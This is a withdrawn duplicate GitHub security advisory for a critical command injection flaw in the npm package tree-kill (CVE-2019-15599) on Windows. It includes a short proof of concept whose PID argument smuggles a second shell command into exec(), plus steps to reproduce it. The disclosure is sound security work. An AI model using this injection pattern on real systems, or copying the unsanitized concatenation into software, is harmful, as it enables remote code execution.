GHSA-mxq6-vrrr-ppmg
CRITICAL 9.8CVSS 3.1withdrawn / rejectedDuplicate Advisory: tree-kill vulnerable to remote code execution
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-884p-74jh-xrg2. Ths link is maintained to preserve external references.
Original Description
A Code Injection exists in tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command, which is executed without any check. The issue arises here: https://github.com/pkrumins/node-tree-kill/blob/master/index.js#L20 . While the Linux part is sanitized, the Windows on simply uses the + operand to concatenate the input into exec()
Steps To Reproduce:
Create the following PoC file:
// poc.js
var kill = require('tree-kill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');
Execute the following commands in another terminal:
npm i tree-kill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js # Run the PoC
dir # Now *HACKED.txt* exists :)
A new file called HACKED.txt will be created, containing the HACKED string.
Scores
| Source | Scored by | Version | Score | Vector / decision |
|---|---|---|---|---|
| OSV | GitHub | CVSS 3.1 | CRITICAL 9.8 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Affected
| Source | Vendor / ecosystem | Product / package | Affected versions | Fixed in |
|---|---|---|---|---|
| OSV | npm | tree-kill | <= 1.2.1 |
References
- https://nvd.nist.gov/vuln/detail/CVE-2019-15599 · ADVISORY
- https://github.com/pkrumins/node-tree-kill/commit/deee138a8cbc918463d8af5ce8c2bec33c3fd164 · WEB
- https://hackerone.com/reports/701183 · WEB
- https://github.com/pkrumins/node-tree-kill · PACKAGE
- https://github.com/pkrumins/node-tree-kill/releases/tag/v1.2.2 · WEB
History
- 25 Nov 2026 20:11 UTC · OSV: first stored (published 24 May 2022)